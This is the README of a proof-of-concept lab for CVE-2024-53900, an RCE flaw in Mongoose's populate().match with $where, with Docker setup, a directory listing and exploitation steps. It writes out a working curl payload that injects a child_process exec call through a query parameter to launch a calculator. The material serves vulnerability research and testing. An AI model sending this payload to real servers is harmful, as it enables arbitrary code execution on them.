CVE-2024-53900 - Mongoose populate().match $where RCE

This repository provides a reproducible vulnerable environment and PoC for CVE-2024-53900, a critical Remote Code Execution (RCE) vulnerability in Mongoose < 8.8.3.

📌 Vulnerability Details

• CVE: CVE-2024-53900
• Affected: Mongoose < 8.8.3
• Severity: Critical (CVSS 9.1)
• Vector: populate().match combined with $where
• Impact: Arbitrary JavaScript execution (RCE) in Node.js context

References:

• GitHub Advisory
• Fix Commit

🛠️ Setup Instructions

1. Clone the repository

git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900

2. Start environment (Docker Compose)

docker-compose up -d

📌 GUI PoC (Calculator)

By default, the vulnerable Node.js app runs inside Docker.
However, GUI applications (like xcalc or gnome-calculator) will not launch inside a container.

👉 If you want to demonstrate the RCE by launching a calculator window:

1. Run MongoDB in Docker (as DB backend)

   root@kitploit:~

   docker run -d --name mongo -p 27017:27017 mongo:6
   

2. Run the vulnerable Node.js app locally

   cd ~/cve-2024/app
   npm install
   node server.js

• MongoDB runs on port 27017
• Vulnerable Node.js app runs on port 5000

📂 Directory Structure

/home/kali/cve-2024/
├── docker-compose.yml     # Environment setup
├── exploit.py             # Automated exploit script
├── CVE-2024-53900.yaml    # Nuclei template
├── README.md              # Documentation
├── app/                   # Vulnerable Node.js app
│   ├── Dockerfile
│   ├── package.json
│   ├── server.js
│   ├── models.js
│   └── views/
└── data/                  # MongoDB volume

🚀 Exploitation

Manual test

curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"

Automated PoC

python3 exploit.py --url http://localhost:5000

With Nuclei

nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author

🔒 Security Notes

• For research and testing only (not production).
• Payload restricted to safe operations (e.g., file creation).
• Fully isolated using Docker.

✅ Tested Environment

• OS: Kali Linux
• MongoDB: mongo:6
• Node.js: 18
• Mongoose: 8.5.0 (vulnerable)
• Express: 4.18.2

📸 Demo